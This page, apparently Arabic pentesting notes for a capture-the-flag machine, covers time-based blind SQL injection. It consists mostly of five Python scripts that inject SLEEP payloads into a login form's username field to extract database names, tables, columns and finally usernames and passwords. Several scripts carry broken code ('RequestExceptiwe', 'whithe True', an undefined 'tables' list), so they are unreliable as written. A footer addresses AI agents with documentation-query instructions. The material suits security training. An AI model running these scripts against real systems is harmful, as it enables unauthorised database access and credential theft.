> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# حقن SQL المعتمد على الزمن

#### أتمتة الاستغلال باستخدام سكربت بايثون

لقد طوّرنا سكربت بايثون لأتمتة استخراج البيانات عبر حقن SQL. يستخرج السكربت اسم قاعدة البيانات، وأسماء الجداول، وأسماء الأعمدة، وأخيرًا البيانات الحساسة مثل أسماء المستخدمين وكلمات المرور.

### قاعدة البيانات:

**مثال على سكربت لاستخراج اسم قاعدة البيانات:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi المعتمد على الوقت
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("بدء هجوم حقن SQL...")
    for position in range(1, 100):
        character_found = False  # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"اختبار: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                character_found = True  # تم العثور على حرف
                break
        # إذا لم يتم العثور على حرف في هذا الموضع، نوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على أي حرف عند الموضع {position}. جارٍ إنهاء الاستخراج.")
            break
    logger.info("اكتمل حقن SQL!")
    logger.info(f"البيانات المستخرجة النهائية: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL المعتمد على الوقت.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="زمن التأخير لحقن SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **اسم قاعدة البيانات**: `monitorsthree_db`

<figure><img src="/files/e52137d7c2171ed91e313914539ffd725a2c5c61" alt=""><figcaption></figcaption></figure>

### **قواعد البيانات:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi المعتمد على الوقت
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"جارٍ استخراج اسم قاعدة البيانات عند الإزاحة {offset}...")
    for position in range(1, 100):
        character_found = False  # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        for character in characters:
            # تنسيق استعلام SQL مع جميع المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"اختبار: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                character_found = True  # تم العثور على حرف
                break
        # إذا لم يتم العثور على حرف في هذا الموضع، نوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على أي حرف عند الموضع {position}. جارٍ إنهاء الاستخراج.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # طلب لاستخراج أسماء قواعد البيانات
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("لم يتم العثور على المزيد من قواعد البيانات.")
            break
        databases.append(database_name)
        logger.info(f"تم العثور على قاعدة البيانات: {database_name}")
        offset += 1
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة قواعد البيانات: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL المعتمد على الوقت.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="زمن التأخير لحقن SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/87b64371429ec990596f87af2c11104c0b8f693e" alt=""><figcaption></figcaption></figure>

### **الجداول:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi المعتمد على الوقت
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"جارٍ استخراج اسم الجدول عند الإزاحة {offset}...")
    for position in range(1, 100):
        character_found = False  # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        for character in characters:
            # تنسيق استعلام SQL مع جميع المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"اختبار: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                character_found = True  # تم العثور على حرف
                break
        # إذا لم يتم العثور على حرف في هذا الموضع، نوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على أي حرف عند الموضع {position}. جارٍ إنهاء الاستخراج.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # طلب لاستخراج أسماء جداول قاعدة البيانات `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("لم يتم العثور على المزيد من الجداول.")
            break
        tables.append(table_name)
        logger.info(f"تم العثور على جدول: {table_name}")
        offset += 1
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة الجداول في monitorsthree_db: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL المعتمد على الوقت.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="زمن التأخير لحقن SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **الجداول**: `invoices`, `customers`, `changelog`, `المهام`, `invoice_tasks`, `users`

<figure><img src="/files/13390b60702920f3d3aaaa2b32185818ebb36597" alt=""><figcaption></figcaption></figure>

### **الأعمدة:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi المعتمد على الوقت
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"جارٍ استخراج اسم العمود عند الإزاحة {offset}...")
    for position in range(1, 100):
        character_found = False  # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        for character in characters:
            # تنسيق استعلام SQL مع جميع المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"اختبار: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                character_found = True  # تم العثور على حرف
                break
        # إذا لم يتم العثور على حرف في هذا الموضع، نوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على أي حرف عند الموضع {position}. جارٍ إنهاء الاستخراج.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # طلب لاستخراج أسماء أعمدة الجدول `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("لم يتم العثور على المزيد من الأعمدة.")
            break
        columns.append(column_name)
        logger.info(f"تم العثور على عمود: {column_name}")
        offset += 1
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة الأعمدة في الجدول 'users': {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL المعتمد على الوقت.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="زمن التأخير لحقن SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **أعمدة الجدول `users`**: `المعرّف`, `اسم المستخدم`, `البريد الإلكتروني`, `كلمة المرور`, `معلمة`, `الموضع`, `dob`, `start_date`, `salary`

<figure><img src="/files/656b6b28858a305e8800113d22c7f839c8eab9db" alt=""><figcaption></figcaption></figure>

### **البيانات المستخرجة**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi المعتمد على الوقت
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] جارٍ الخروج.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"جارٍ استخراج البيانات عند الإزاحة {offset}...")
    for position in range(1, 100):
        character_found = False  # مؤشر للتحقق مما إذا كان قد تم العثور على حرف
        for character in characters:
            # تنسيق استعلام SQL مع جميع المتغيرات المطلوبة
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"اختبار: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"فشل الطلب: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"البيانات المستخرجة حتى الآن: {extracted_data}")
                character_found = True  # تم العثور على حرف
                break
        # إذا لم يتم العثور على حرف في هذا الموضع، نوقف الحلقة
        if not character_found:
            logger.info(f"لم يتم العثور على أي حرف عند الموضع {position}. جارٍ إنهاء الاستخراج.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # طلب لاستخراج أسماء المستخدمين
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # طلب لاستخراج كلمات المرور
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("لم يتم العثور على المزيد من بيانات الاعتماد.")
            break
        credentials.append((username, password))
        logger.info(f"تم العثور على بيانات اعتماد: {username}:{password}")
        offset += 1
    logger.info("اكتمل حقن SQL!")
    logger.info(f"قائمة بيانات الاعتماد: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="تنفيذ هجوم حقن SQL المعتمد على الوقت لاستخراج بيانات الاعتماد.")
    parser.add_argument("--url", required=True, help="عنوان URL الهدف لحقن SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="زمن التأخير لحقن SQL")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/04f68fa1df5d28232bc81df5f2d9157cbb3b66b7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
